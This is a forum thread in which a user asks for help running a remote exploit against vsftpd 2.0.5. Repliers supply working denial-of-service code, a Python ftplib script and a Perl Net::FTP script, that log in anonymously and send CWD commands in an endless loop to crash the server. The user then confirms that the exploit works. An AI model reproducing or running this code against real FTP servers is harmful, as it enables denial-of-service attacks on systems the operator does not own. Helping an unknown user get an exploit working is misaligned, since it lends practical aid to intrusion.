Problem with perl script - Web Application Security

Hardcore-Gabber

Please somebody cane tell me what is wrong with this perl script .. is a remote exploit for vsftpd 2.0.5

When i went to execute it i am getting this error ....

Name\"main&#58;&#58;perl\"used only once &#58; possible typo at C&#58;\Perl\ftp&#46;pl

and here is the exploit that i have used ..

http&#58;//r00tsecurity&#46;org/db/exploits/57

[align=center]Thanks[/align]

chroniccommand

All that does is connect anonymously and do cwd() infinity until it crashes which could take a long time. Anyway, here is a quick Python version I wrote up. See if this works.


import ftplib
host = 'changethis'
conn = ftplib&#46;FTP(host)
conn&#46;login()
while(1)&#58;
    conn&#46;retrlines('CWD')

Sh3llc0d3

#!/usr/bin/perl

use Net::FTP;
$ftp=Net::FTP->new("$ARGV[0]",Debug=>0) || die "Cannot connect to Host $ARGV[0]\n Usage: $perl script_name.pl target_ip\n";
$ftp -> login("anonymous","anonymous") || die "Could not Login...Retry";

while(1)
{
#this loop runs infinitely

$ftp -> cwd();
}

$ftp->quit;

Try that

EDIT: Just to point out there is nothing wrong with that script. It's also just a PoC (proof of concept). The actual error you saw wasn't an error but a warning. In perl the shebang at the start letting the script know where perl is (in this case "/usr/bin/perl") can also have the "-w" bit which gives warnings thrown up by the script. Similar thing to using "use strict" and "use warnings".

Hardcore-Gabber

Thanks now is working ..

Sh3llc0d3

said:

Thanks now is working ..

Glad it's sorted :) let me know if you need anymore help.

Sh3llc0d3

said:

good semtex primed you are learning

Sounded like something yoda would say darkgt4

Howdy, Stranger!

Top Posters

Who's Online (2)